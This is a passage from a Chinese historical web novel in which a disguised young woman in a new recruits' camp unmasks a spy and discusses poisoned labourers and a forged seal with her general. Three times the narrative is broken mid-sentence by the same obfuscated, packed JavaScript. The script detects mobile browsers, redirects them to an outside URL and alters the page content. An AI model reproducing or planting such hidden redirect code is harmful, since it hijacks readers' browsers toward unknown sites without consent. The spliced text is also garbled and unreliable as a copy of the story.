燕风摸了摸头发，尬笑道：“也没什么，父母去得早，无人照管，勉强自己长大。不久前因缘际会知晓了害自己家破人亡的仇敌是谁，但那人颇有权势，我一个孤女奈何不得。思来想去，我还有几分拳脚功夫，想来碰碰运气，万一将来能建个寸功，得了大人物青眼，报家仇也有就望了。” 这段说辞是她提前想好的，但真一字一句地说出口，才发觉纰漏不少。 燕风不免心虚，又快速补充道：“幸好宗将军是一个不拘一格的，也容了我进来。” 江鱼丝毫没起疑心，方才还弯成两条缝的笑眼此时瞪得溜圆。“竟是这般经历，活像县里唱的戏文里的人物。” “住我家隔壁的一个见过世面的姐姐从前同我说，越是厉害的人物越是谦虚，这个叫，叫那个深藏不露。燕姐姐说的几分功夫应该很是了不得吧，不然宗将军怎么会破格收你呢？” 燕风心虚地应了一声。 她素有自知之明，尽管过去三年她拼了命地刻苦习武，但无高人指点，她的拳脚功夫只能算是不错，远远没有到很了不得的地步。 但拗不过江鱼的恳求，燕风只能露两手。 恰巧有一只倒霉的扑棱蛾子从她们身侧路过，燕风起念，顺手拾起一块石子，看似不经意的一掷，那蛾子便被这石子钉在了不远处的树桩上。 江鱼只觉一阵劲风拂脸，待回过神来瞧清那只蛾子的下场，当下便激动得起身猛蹦了几下：“妈呀，今天真是开了眼，让我遇到燕姐姐你这样一个神仙人物。” “燕姐姐，哦不，燕大哥，将来小弟我就跟着你混了。你让我往东我绝不往西。只求能教我个一招半式，让我在战场上不至于傻愣愣地送死。” * 约莫一刻钟后，江鱼领着燕风来了演武场。 得亏了江鱼的指导，这时候的燕风已经全副武装：露在外头的肌肤都用灰泥均匀地抹得黑黄，眉毛被描浓，发际线也被规整地剃过。好在燕风本就生得高挑挺拔，再套上宽大的兵服，只要不细瞧，也像一个男兵了。 此时刚过卯时，新兵营总是纪律松散些。演武场上人稀稀拉拉并未到齐，到了的也都凑成一簇一簇，和自己相熟的聊天说话。 聊天内容大多都是昨晚遭的袭击。 一万人在战场上说多不多，但这一万人的营地说小也不小，是以大部分人虽然都听到了声响，但并不知内情。 燕风一行两人的到来并不惹眼。偶有几个刚巧站在附近的，瞧着燕风眼生且长得出众，免不得多看几眼，但也不好说什么。 毕竟新兵营大几千号人，没见过是正常的。 又过了半刻，人终于来得差不多了，此时日头已经出了大半，周围亮堂了不少，演武场上的声音正是最鼎沸的时候。 站在高台上的俞教头好似心不在焉，不怎么在意这底下菜市场般的吵闹，喊了几声哨子见不管用也不动作了。其余一些教头也俱是如此。 果然是仓促招来的新兵，纪律如此之松散。 燕风心里感叹，不免替宗恂皱了皱眉头。 便在这时，沸反盈天的人群突然快速安静了下来。 5. 风波 这清净来得极为诡异，似乎是从北边向南边，由远及近传来的。 燕风朝北边探，遥遥望见一群人巡视而过。 领头那个披着墨黑袍子，隔这么老远都让人觉得风姿绰约，不是宗恂又是谁。 燕风心里一动，昨夜她睡的时候他帐里还亮着灯，她起的时候他帐里灯火依旧没灭。 不知他现在眼下是否已经青黑了。 宗恂人前总是带笑，但地位摆在那。他所过之处，喧嚷的新兵们不自觉地便收声规矩了几分。 高台上的俞教头回了魂魄，清了清嗓子，声势如洪。 老章程，不论一天安排如何，新兵晨起都要绕军营跑上五圈。但今天大伙的懒散让教头在将军面前失了面子，俞教头上下嘴皮子一碰，就翻了倍改成了十圈。 众人不敢抱怨，但也个个颇为沮丧。尤其是江鱼，一副如丧考妣的神情。 虽是刚下过雨的湿润地面，千百人一同跑起来仍然扬起了不少尘土。 燕风掩面深深吸了口气，提速疾步跑了过去。 她费了这么大心力才来到了这里，可不是为了当一个默默无闻的小兵。 只有足够出众，最好独占鳌头，才不会让别人轻看了她，拿身份的问题为难她。 她才能有一天，真正做成她想做的事。 * 对钱塘县来的陈青来说，今天本是极寻常的一天，除了现正在他左后方，如影随形的那个生面孔。 五个身位，三个身位……那人越追越近。 陈青暗骂一句，咬牙提速，肺里开始火烧火燎地疼。 几个回合后，对方竟与他并驾齐驱，甚至还侧过头，朝他咧嘴一笑。 陈青被那笑容里的轻松彻底激怒，狠狠回瞪一眼。 对方似乎愣了一下，步伐稍缓，又退回了约莫三个身位之后。 陈青起初松了口气，以为那人后力不济。可很快他便发觉不对：无论自己加速还是减速，后方那人就好像是狗皮膏药一般粘他身上了，总是离他恰恰好三个身位，不多也不少。 二十岁的血气轰然冲上头顶。 这哪是跟不上？分明是戏弄！ 陈青后槽牙几乎咬碎，再也不管什么节奏，将剩余力气全部榨出，发疯般向前冲去，决心要甩掉那恼人的影子。 十圈跑完，他瘫倒在地，眼前发黑，累得几乎要翻白眼，心里却十分快活：最后那段路他回头看过，身后空空荡荡，不消说，那讨厌的家伙定是被自己甩远了。 “陈哥，跑完别急着躺，起身走走。” 谁在说话？这嗓音听着挺陌生的。 陈青睁开眯着的眼，明晃晃太阳底下，猝不及防看到两张大脸。 一张浓眉大眼，蓄了胡子，几乎天天见着，正是俞教头不错；另一张瞧着眼生，满头大汗，身量细瘦，却是极俊俏，莹润的眼睛正瞧着他笑。 陈青猛地坐起，这人不就是…… “十圈啊，你跑完了吗？”他脱口而出，心觉对方定是偷懒漏了圈，不然刚刚后头明明没人，怎么这么快就到了眼前。 话出口才觉不妥，倒显得自己输不起。 “陈青，你小子今天可遇上对手了。”俞教头蒲扇般的大手拍了拍燕风的肩，话却是对陈青说的，“我可数了，十圈，一圈不少，还比你快了小半刻钟。” 他又看向燕风，眼中是毫不掩饰的欣赏：“叫燕风是吧，不愧是宗将军亲自招来的，今日第一次见，腿脚是真利索，是个当斥候的好苗子。” 那叫燕风的少年只是抹了把额上的汗，从旁边木桌上端了碗水，仰头灌下大半，才哑着声音道：“教头过奖了，就是从小跑惯了，算不得什么过人之处。” 说完，顺手将另一碗水推到了陈青面前。 陈青也回了神。他虽心思直，却是个拿得起放得下的。 原本他恼怒，七分是因了好胜心，三分是恨这人平日不显山不露水，只等将军今日来时才露身手，心思颇九转曲折了些。现在既知这人也是才来的，那便没什么好指摘了。 他自己习武多年，不是不清楚人外有人，天外有天的道理。 更重要的是，他私心里发觉，这人身量比他想得还要单薄，活像根面条，若不是腿力惊人，他简直要怀疑这人是个姑娘家假扮的。 身为男子，却无阳刚伟岸之姿，想必也只有长跑这一项擅长些了。 念及此，他几乎就要可怜他了，刚刚翻腾的酸意一早便散了。 晨跑后便是朝食。 饷营的张伯带人拖了几大车来，车上是几口冒着热气的大铁锅，还有整筐整筐的豆面馍馍。 燕风歇够了便去搭了把手。 待摊子支好，已有不少人都跑完了圈儿，三五成群，支着腰，喘得像拉破的风箱。 令燕风意外的是，江鱼在这一项上极为认真。她脸跑得煞白，却硬是一步没走，踉踉跄跄冲过了终点，速度在新兵营里甚至算得上是中上游。这会儿正独自蹲在路边一丛半枯的狗尾巴草旁，弓着背，一声接一声地干呕。 张伯喊了一声：“开饭！” 人群开始蠕动，几个伙头军开始给各人分早食：每人两个拳头大的豆面馍馍，一碗稀得能照见人影的碴子粥。 轮到燕风的时候，张伯又从锅底摸出一个煮得烫烫的青皮鸡子，笑眯眯地递给她。 燕风忙摆手。 江鱼来的路上早和她叨过了，朝食时，每个人不论高矮胖瘦，都是一样的份例。 怎么到她这儿，就多了个鸡子？ 张伯来得早，听了几耳朵，知道燕风是宗将军亲自提进来的，笑得越发慈祥：“小后生，给你你就拿着，这是惯例。每日营里的晨跑头名，早食多给一个鸡子。” 燕风下意识看了陈青一眼，怪不得这人跑起来和不要命似的。 陈青当没看到，就着碴子粥大口吃喝起来。 燕风接过鸡子，小心翼翼地揣在怀里。她想着等下和江鱼一起分了吃，那孩子太瘦了。 正蹲着喝着粥呢，燕风突然感到周围光线暗了一暗。 她抬起头，看到一个黑塔似的汉子捧着一口吃剩的空碗，遮天蔽日般朝她这边走来。 她心里咯噔一下。 那黑汉子却也蹲下来了。他朝燕风露出一个笑，试图显得和善，可脸上横肉太多，这笑容便显得颇为吃力，甚至有些滑稽。 这是怎么个意思？ 黑汉子开口了：“小兄弟，帮帮忙，分我一个馍馍罢。哥哥昨天吃坏了肚子，今天早上又出了这许多力气，整个人都怪不舒服的。你分我一个让我今天先填饱肚子，明日早食我再还你。” 燕风仔细望了望这人的神情。 明白了，这叫先礼后兵。 现在正是礼的阶段，若她不吃这套，接下来就要挨拳头了。 燕风的视线又下移到黑汉子着实粗壮的手臂和隆起的胸膛，一颗心不自觉沉了沉。 罢了，她还是吃礼这套吧。不过是个豆面馍馍，犯不着伤筋动骨打一架。 于是她垂下眼，嗯了一声，算是答应了。 “燕风大哥！你千万别上当啊！”这嗓音高亢又嘹亮，让人很难相信这声音的主人刚刚还累趴在路边吐酸水。 江鱼一个箭步跨到二人之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485511|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大声怒斥那汉子，“焦海，谁不知道你惯是个爱扯谎骗人的。上回你说家里老娘病了，预支饷银，结果拿去赌了。上上回你说脚崴了，不能出操，被人撞见在小河沟摸鱼！” “说什么明天还，你哪次真的还了？李二哥的鞋、王五哥的裹腿布，到现在都没见影子！左不过是欺软怕！从前也就罢了，我告诉你，这次你可踢到了铁板一块！” 她猛地转身，抓住燕风的胳膊，大声道：“我燕风大哥可是个硬骨头嘞！是宗将军亲自招来的人！你今天欺负到他头上，算你小子倒霉了！” 硬骨头燕风默不作声地把脚尖转了小半圈，揣着小碗开始认真思索众目睽睽下地遁的可能性。 想是之前吃了这焦海不少亏，江鱼劈头盖脸一通骂完还不解气，转头又一把扶起蹲着吃馍的燕风，道：“燕大哥，这是个黑心肠的污糟人，你若这次让了他，以后他天天找你。你快给他点颜色看看！让他知道咱们也不是好惹的！” 焦海被当众揭短，黝黑的脸皮瞬间涨成猪肝色。 他猛地起身，肩上搭着的汗巾被他狠狠拽下，重重往地上一摔！“啪”一声闷响，尘土飞扬。 “日恁先人！”他吼声如雷，震得人耳膜发麻，唾沫星子几乎喷到江鱼脸上。 “小兔崽子，毛还没长齐，恁算老几这么和老子说话！” 江鱼也被吓了一跳，不动声色朝燕风身后站了站，但脸上还是一副你等着瞧吧的挑衅神色。 燕风在心里叹了口气。 哎，这是箭在弦上。 她把怀里的鸡蛋和馍馍递给江鱼，直起身，转过头。 两人一站起来，焦海还是比她想象得高壮许多，虬结的手臂，隆起的胸膛。这大块头，两个馍馍一碗稀粥确实不够吃，难怪要抢别人的。 罢了。 焦海这一拳又沉又猛，毫无花巧，单是臂膀带起的风就迫得人呼吸一窒。燕风腰腹猝然发力，一个虚步，险险让开那记夯实的直拳。 这三年日夜苦练，畏惧虽仍在，但身体反应更快。 下一招，该是摆步上前，直取空门。 然而就在俯身闪避的刹那，燕风余光猛地瞥见人堆里一双脚。 那脚没什么稀奇，但是穿着的粗布鞋面上，却溅着几点橘色污渍——那颜色她可太熟悉了！ 她心头一凛，电光石火间，硬生生截住反击之势，顺着拳风的余劲，朝那方向踉跄滚去。 焦海见状，果然怒吼一声：“想跑？”追上，又是一拳捣出，力道比刚才更猛，直奔燕风后心。 他认定了这瘦小子只是运气好躲过第一下，现在已是慌不择路。 燕风仿佛背后长了眼睛，在拳头即将触及背心的瞬间，腰肢猛地一拧，像水边被风吹折的芦苇，堪堪避过。 那记落空的拳头便带着焦海全部的怒火和蛮力，狠狠砸进了她原本站立位置后方的围观人群！ 霎时间惊叫四起。 人群像被巨石砸中的水面，哗啦一下倒了一片。 烟尘中，燕风偏头看去。 众人推挤跌倒，颇为狼狈。却有一个面色黑黄、身材干瘦的中年汉子，穿着普通的灰褐色兵服，站在人群稍外围的地方。 他好像只是被波及，脚下略一趔趄，身子晃了晃，便稳稳站住了，甚至还伸手扶了一把旁边差点摔倒的同伴。 正是那双鞋的主人。 呵，装模做样。燕风在心里冷笑。 方才她滚过去时，分明正堵在那人身前。若真是个寻常汉子，焦海那一拳本该结结实落在他脸上。 可他没有。 此人必有问题！ 6. 杀机 事情还要从头说起。 燕风自幼风餐露宿，故而对于如何在外过夜很有一套。 自到了这里，她夜夜歇在山坡上一个自然凹陷的石洞里。石洞窄小，一旦有危险，则避无可避。于是她进洞前，总要用抹了凤仙花渣的细树枝在洞口附近铺一层，再就近取些琵琶叶盖上，使洞口与周围融为一体。 若有人或兽靠近，其重量便会压碎枯枝，折断叶子，声响足以示警。 而且，凤仙花捣成的渣子极易染色，若来的是不怀好意的人，白日她也可凭衣物鞋面上沾的颜色来辨认。 或许是因驻扎在山下的那一大批人马的震慑，连日来燕风每夜都过得平静，连个路过的小兽也不曾见过。 直到昨夜，枯枝竟然被踩响了。 她虽未亲眼看见，却很清楚那不是野兽，而是人，且是个机警的人。 因为那声响明显顿了一下，随后一阵脚步声猝然远去，似有人猛然发足狂奔。 待她探身查看，早已不见踪影。 燕风心下起疑，索性不睡了，起身替宗恂做个哨兵。少顷，果然看到一伙黑影，趁着夜雨，往营地里面潜去。 这才有了她后头夜闯宗恂大帐的事。 真是得来全不费工夫。 燕风心中暗喜。方才还在想宗恂为这群刺客熬了一宿，如今刺客的内应就出现了。 也是运气好，凤仙花染的印子靠近鞋底，穿鞋的人不易察觉。加上军中物资匮乏，即便那人发觉，一时也找不到鞋子替换。 “小崽子还敢跑！俺叫恁跑！”焦海从地上爬起来，整张脸气得黑里泛红，叫骂着又要冲上来。 燕风回过神，暗骂这焦海碍事，不能再与他纠缠。若叫那细作跑了怎么办，毕竟那人长得过目即忘，若混入了人群，再想找就难了。 江鱼还在旁边为她呐喊助威。燕风没理会，目光一扫，果然看见俞教头搬了把板凳，抬着半边受伤的屁股坐在那儿啃馍，一副看热闹不嫌事大的模样。 军中训兵的大致分为两派。一派信奉“静以幽，正以治”的兵法正统，追求的是军队不令而威，则治众如治寡。譬如她从前待过的宗谦的部队，上下纪律严明，绝不会有人敢无视军纪，欺凌弱小。 另一派则反其道而为之，要的就是弱肉强食，管你怎样好勇斗狠，若能居上便是强者。 燕风私心觉得这样同不训也没什么两样，说是风格，倒不如说是治军无能的遮羞布。 但很不幸，此时接管她所在新兵营的俞教头，便是属于这一派了。 燕风心中本就焦急，见俞教头一副悠哉的样子更是不忿。佯装一个躲闪不及，便大头朝着俞教头栽去。 可怜的俞教头，一个馍还没咂摸完，便被当肚狠狠来了一下。 这还没完，等燕风滚过去，黑脸的焦海又挥舞拳头虎虎生风地追过来了。 人群霎时一静。 “好你个焦海！”燕风眼见那拳头终于落在了俞教头身上，当即大喝，“欺负我燕风弱小也就罢了，连俞教头你也敢打！真是无法无天！” 众人谁也没想到这事儿是这样的收场，个个都惊得说不出话。 俞教头被打得眼冒金星，张着嘴呕不出声，吓得焦海“啪”一声跪倒在地。 另一名教头领着军医匆匆赶来，几人合力将俞教头抬走，焦海也被押了下去。 众人见热闹散了，正要离开。燕风一边暗暗留意那细作，一边苦思对策。见人群欲散，忽然灵光一闪——罢了，死马当活马医。 “前辈，等等！”燕风朝那细作大叫。 无人回头。 “那位头顶有些稀疏的前辈，等等！” 人群中转过好几张不友善的脸。 燕风悻悻拱手，索性小跑过去，一把拉住仍在往前走的细作。 “我见前辈身怀绝技，心中仰慕，还请不吝赐教。”这一声中气十足，引来不少目光。 赵阿宝被拉得停步，那迷茫回望的样子属实瞧着有几分痴呆。 周围顿时响起一阵哄笑。 “哈哈哈，身怀绝技？就赵阿宝这矮竹竿？” “小兄弟说笑了，俺从前就是个种地的，连牲口都没宰过，哪有什么本事？你拿我说笑呢？”赵阿宝回道，一副老实人受了为难的模样。 等的就是这句。 “这可怪了。”燕风不紧不慢，“方才焦海怒气冲冲，真真骇人。诸位看看我，为躲他弄得满身泥灰。若躲不开，只怕落得俞教头那般下场。我这身子骨，怕是还没见着边瓦蛮子，就先去见我家老太爷了。” 众人低笑，焦海在营中素有恶名，这话倒是不假。 “可这位赵兄却不一样。”燕风话锋一转，“我看得清楚，刚才焦海出第二拳时，我虽躲开，却差点牵连站在一旁的赵兄。本还心中愧疚，谁知一眨眼，赵兄已站在五步开外。这身法，比少林寺的师父还要神乎。” “胡说八道。”赵阿宝甩手就要走。 “慢着！”燕风高喝一声。“赵兄分明身怀绝技，又人在军营，合该全力以赴，为国尽忠。为何如此扭捏作态，难不成是心里有鬼！” “你才是鬼！小小年纪心这么黑，空口白牙污人清白！”赵阿宝也上了火，三角眼瞪着她啐道。 燕风并不恼：“我只是实话实说。你若想自证清白也简单。与我比试一场。在场兄弟都是明眼人，有没有藏拙，一试便知。” “凭啥你说比就比。老汉我种地一身力气，把你打哭了又算什么。算我是细作吗？”赵阿宝梗着脖子，竟硬气了起来。 “哈，‘细作’二字可是你自己说的！”燕风大笑，一脚蹬在俞教头未撤的板凳上，纵身从人群头顶跃过，在空中连翻几转，花哨地落在比武台上，又从武器架上挑了把沉甸甸的长枪，掂了掂，摆开架势。 她清了清嗓子，朗声道：“诸位，昨夜之事大家应当都知道了。那群贼人的尸首还在空地上堆着！若非将军一箭定局，偷袭未必不成，届时后果不堪设想，我们又怎能安然站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485512|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这儿？可此事细想实在蹊跷：区区百余人，竟敢闯我数万人的大营。若说没有内应暗中配合，我绝不相信。国家兴亡，匹夫有责。揪出细作关乎全军存亡。我燕风虽是小兵，却是宗将军亲自募来的，责无旁贷。” “所以，赵阿宝，你比，还是不比？” “方才，我也瞧出些不寻常。”接话的是陈青。自输给燕风后，他一直留意这边动静，也瞥见了赵阿宝那瞬移般的步法。“赵兄弟，你若心里坦荡，上去比试一番又何妨？白的总不会变成黑的。” “就是！本来每日也要比试好几场。你不比，就是心虚！”江鱼被燕风那套花架子彻底折服，连忙帮腔。 三人成虎，舆论很快一边倒。除却离场的俞教头，其他几位教头也纷纷围拢过来。燕风此时倒有些庆幸营中这般散漫的氛围。 赵阿宝无法，只得垂头丧气走上比武台：“燕兄弟，俺跟你无冤无仇，你可别趁机欺负人。” 燕风爽朗一笑，“放心，切磋而已，绝不伤你。”说着将长枪掷回架子，又抽出两根细木棍，抛给赵阿宝一根，“以棍代剑罢了。” 比试开始了。 燕风率先起势，大喝一声，疾步前刺。赵阿宝似措手不及，手忙脚乱举棍格挡，却没挡到关窍。木棍顺他棍身滑下，燕风猛一收势，赵阿宝才免于重击。 “哎哟妈呀，吓死俺了。不比了不比了，燕兄弟你赢了。” “这就认输？谁知你是不是故意相让。再来！我不信你不露马脚。”燕风旋身又是一记。 这一下，赵阿宝倒是堪堪接住。燕风笑了笑，随后密集的棍子向他招呼来，赵阿宝有的挡得了，有的他挡不了，燕风也没收住，于是只能生生挨着，脸色越发苦不堪言。 军营另一头的高地上，宗恂远远地看着，面无表情，看不出所思。 身旁的卢平却看得仔细：“将军，我看燕风的功夫虽有章法，却算不得上乘。脚步虚浮，出手绵软拖沓，与她那身轻功相比，实在不够看。也不知她那轻功是从何处学来的。”这话是在为自己昨夜失职找补，暗示即便燕风潜入大帐，也对宗恂构不成威胁。 宗恂温和一笑，并未接话。 练武场上，比试仍在继续，却已成赵阿宝单方面挨打。 众人渐觉无趣，但燕风越打越猛，呼喝声越来越高，一时无人敢拦。 赵阿宝不知吃了多少棍，涕泗横流，精疲力竭，索性顺势便瘫在地上，把头一横，闭着眼睛哼哼着等着挨打。 下一瞬，杀机毕露！ 燕风依然张口作喝，木棍却不握于手中，而是脱手疾掷，如箭离弦般直击赵阿宝下盘。 而她本人则更快。 无人看清她如何借力，只见她凌空折转、倏忽变向，飞身掠至架前，一把抽出那柄长枪。 随即踏空而下，双手握枪如蓄雷霆，带着破空锐鸣，向赵阿宝头顶沉沉压落。 电光石火间，目睹此景之人脑中唯剩一念： 这庄稼汉子，死定了。 7. 试金 但对方并未血溅当场。 赵阿宝猛然睁眼，身形如鬼魅般一折，竟硬生生劈腿跃起，险险避过袭向下身的棍风。 头顶长枪已至，避无可避，他索性弃守为攻，将手中木棍狠掷向燕风要害。 燕风只得侧身闪躲，枪尖随之一偏，擦着赵阿宝头皮刺下，削落一片带血的头发。 她也未能全身而退，棍身重重砸在右肩，剧痛之下，武器脱手。 一招已了。 两人疾退至练武场两端，遥相对峙。 赵阿宝一扫先前畏缩之态，一手持棍，一手按住血流不止的头皮，面目狰狞地啐出一口血沫：“好小子，你是想要我的命？” “哈哈哈哈哈，可惜了，我还是轻敌了，不然我手上就提着的就该是你的脑袋了。但也无妨，你已经暴露了不是吗？你是跑不掉的，早晚的事儿！” 燕风爽朗地大笑出声，但其实内里已经开始打鼓。只有她自己知道，方才这一招她用尽了毕生所学，且占尽先机，竟然没抢到半分好处。 台下已经是惊叫连连。 胆小的已经脚底抹油，胆大些的也只敢躲远些看。 实在是这一幕震撼得让人猝不及防。 赵阿宝扫了一眼台下惊恐的众人，恶狠狠地道，“你诈我！我着了你的道，才被你伤了皮肉，若是公平地比试一场，你以为你是我的对手？” “赵大哥，局势已定，再叹又有何益？”燕风面上从容，实则在心里大吼，宗恂呢？你们一个个的看什么热闹，倒是去找宗恂啊！ “呵，无耻小儿，你以为你得罪的是谁？我先杀了你再逃又有何难！”赵阿宝一手握成爪状，一手持着木棍急速欺身而上。 燕风急中生智，朝着赵阿宝身后大叫道：“将军！” 赵阿宝果真一抖，转头查探。 与此同时，简直是奇迹降临，宗恂竟真从另一个方向赶到。 等赵阿宝发现被骗，怒气冲冲地回头，正和宗恂四目相对。 那双眼似一潭深湖，波澜无惊，让人忍不住受其蛊惑，陷其静谧。 但视线之外，起落之间，那眼睛的主人已经斩下赵阿宝一只臂膀，甚至还有闲往旁边踱了半步，以免溅到喷出的脏血。 燕风趁势疾进，长枪如电，直贯赵阿宝双腿。这一刺狠准无比，仿佛她往日用竹签串起鸡翅那般熟稔。 这事儿，成了！ 上一息还势必要将她抓个对穿的狠人，这一息便被她当了鸡腿串。燕风简直要忍不住仰头大笑。 宗恂见她面露精光的样子，咽下了那句：“何必再捅一枪，失血过多，怕是醒不过来不好问话。”转而笑道：“枪使得不错。” “是将军来得及时。”燕风恭敬抱拳，右肩顿时传来撕裂般的痛楚。 若那一棍击中胸口……她不敢细想。 宗恂将一切都收在眼底，无声在心中叹了口气。 待军医来把那绵软的赵阿宝抬下安置，他对燕风道：“你同我来。” 燕风明白这是要问来龙去脉了，她朝江鱼做了个我去去就来的眼色，便顺从地跟着走了。 出乎意料，宗恂并未走向军医大帐或将军营帐，而是引她至营地北缘，一处毗邻翠微山的高地。 这地方，燕风倒是熟悉的。只是此时地上叠了一排排昨夜那伙贼人的尸首，白布盖着，倒有几分压抑。 “你觉得此地如何？”宗恂站在高地上举目极望，开口却是没头没尾的一问。 自然是极好的。 大军在这里驻扎了一月有余，燕风便在周围的山地上住了这许久，早把周围地形摸得一清二楚。 陇地多山。营地北向即翠微诸峦，南向即丹台诸坞，东侧是大军的来路，一段不甚宽阔的坡路，西侧则横着渭水的一条分支。 三面山一面水，中间围起来一大块平地。兵法上并不算通途，但却是天然的练兵场。里头的新兵逃不出去，外头的人也不易发现。谁能想到，这层层叠叠的山地里，还有这样一块自然的鬼斧神工。 但若是作为战场，则是另说了。三面障一面柄，多像个口锅。容易被人一锅端了。 燕风照实回答。 宗恂笑了笑：“你说得不错，但有一点不对。” 他转过身，神色竟比昨夜真挚几分：“此地并非天成，是征用工匠百姓，经年累月一点一点凿出来的。” 竟是这样！怪不得这里的土质层比起别处要薄不少，周围山上又有许多坑洞。 “可这里的石质较硬，还杂着许多玄武岩和石英岩。凿起来怕是不容易。”从前阳高城军营里认识个故人，家里世代做的是采矿行当，燕风耳濡目染，也懂得点皮毛。 “是这样不错。可岩质若不坚实，又怎能经得起万人日夜的弓马操练？此处又多雨，规避山洪亦是重中之重。至于开凿难易……”宗恂淡淡道，“在某些人眼里，不过是调遣百人或万人的区别。死伤，亦只是数字罢了。” 宗恂这话说得直白，燕风明白他指的是谁。 陇地有一位藩王，这位裕王的来历说来还有些忌讳。 大靖祖规，皇帝若年满三十还无嗣，便需要从宗室里拔擢几位子弟，接入京城代为照管，以防将来国无储君之困境。 自大靖建朝以来，共有三位皇帝依照了此条祖训，宣帝便是其中之一，但另两位皇帝后来都有了自己的亲生皇子，真正因为无嗣而让旁支子弟继承大统便只有宣帝了。 宣帝终其一生也无子，唯一所出便是福瑛大公主，即宗谦之妻，宗恂之母。 二十余年前，宣帝晚年，今上历尽风波终登大宝，另一位势力鼎盛的宗室子弟则受封西北，是为裕王。其间种种，皆是腥风血雨，难以深究。 今上虽得了皇位，但历经翁天岭之变，江山一度易主，算不得皇权稳固。裕王若有异心，在封地拓地屯兵，也不是多稀奇的事。 大靖民风旷达，这些所谓的皇家秘辛，都被说书先生说烂了。 但这些同他们有什么关系？ 燕风很快就得到了答案。 宗恂递来一页信笺，上空无一字，唯有一方朱印，阳文篆书“裕王图书”。 “这是从这些贼人身上搜出来的？”燕风指了指地上码的尸体。 宗恂点了点头。 “那便是裕王派来的人无疑了，这便是证据！” “可这印是假的。”宗恂又笑了笑。 “什么？”燕风小心翼翼递回信纸的左手顿了顿。 “大靖诸藩王皆有用印，唯独裕王没有。”宗恂目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485513|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掠过她右肩，语气温和依旧，“或许曾有，但绝非此四字。” 燕风恍然，这大约才是真正的宫廷隐秘。“如此说来，这些人并非裕王所派？” “恰恰相反。” 燕风愕然。 宗恂嘴角掠过一丝嘲弄：“推其结果，若我不知此印内情，将此信呈上，作为裕王谋害我军的证据，非但无法取信，反会触怒今上，正中裕王下怀。而我……本是不该知晓这内情的。” “竟如此阴毒！” “不止。”宗恂示意地上尸首，“你可知这些是何人？” “若是裕王派来的，那便应该是他培养的死士，不若如此，怎会如此果断，一被发现，便吞药自杀。” 燕风嘴上如此说，脑子却里却闪过昨夜撞到的那双惊惶的眼睛，心中隐隐觉得有些怪异。 “死士珍贵，怎会浪费在我的身上。地上这些人，老少皆有。但却有一共同特征，便是虽都骨瘦如柴，肩背却肥厚结实，生前必是常年从事重劳役者，譬如，开山凿石。” 燕风瞪大了眼睛，猛地看向那些刚刚还被自己唤作贼子的尸身。 耳畔宗恂的声音仿佛自远方飘来：“他们口鼻间有一股特殊异味，所中之毒应为番木鳖。此毒服后不会立发，约两个时辰方会惊厥窒息而死。若在晚膳中下毒，算来时辰，昨夜他们出现之时，正是毒发之际。” “所以他们早被下了毒……百十条人命，究竟图谋什么？” “地。” “什么？” 宗恂解释道：“我们在这多留一天，他们的部队就只能化整为零。藩王暗地纠集人马，招揽的除了实在活不下去的穷苦百姓，便是匪寇。这样的队伍，是很难维持的。” 燕风坐在地上，此时觉得通体生寒。 她掀开一张白布，那往生者表情狰狞，七窍隐有血迹，不难想象他临死前的痛苦和恐惧。 她想到什么，又问道：“将军似通晓药石之道。可知世上可存在无色无味的毒药，能害人于无形，或致人手脚麻痹，无力反抗？” 宗恂看了她一眼，并不答。 燕风旋即解释道：“将军放心，我并无害人之心。我只是觉得，裕王既有胆子做这件事，又何尝不能给我们全军下毒。毕竟我们现在在他的封地，军中吃用的粮草，依例也是出自他的粮仓。” “你误会了，我并不是疑心你。”宗恂安抚似的对她笑了笑，“我对医道也只是略通而已，但据我所知，无色无味之毒大多是妄传。世上绝大部分毒物，不是有异味便是有巨苦。故世人下毒，不是要用甜腻之物压制，便是需要烈酒送服，方能不引起被下毒之人怀疑。” “就拿这番木鳖来说，虽也已是极昂贵的毒药，但入口也是苦涩难咽。下毒之人定是将人狠狠饿了几天，才能让他们心甘情愿将拌了毒物的晚飱吃下。不过，你放心，裕王暂时不会这样明目张胆地下毒。因为这便是圣上得利了。” 宗恂一个久处赣南的边将，又是被上厌弃的罪臣之后，在西北暂无战事的情况下，突然被以援边的名义，仓促领了一万人经陇地往阳高去。 今上的目的，已是彰明较著。 不是威慑，就是作饵。 但看这营地里东拼西凑来的老弱病残一万人，恐怕是后者。 8. 北进 “将军难道会甘心做人棋子吗？” 上位者的权力游戏，总是由普通人的血肉作为赌注。怕只怕宗恂学那些酸腐儒生，要做个死不回头的忠臣良将。 燕风想起往事，只觉一股怒气直冲天灵，不觉握紧了双拳。 “自是不愿。” 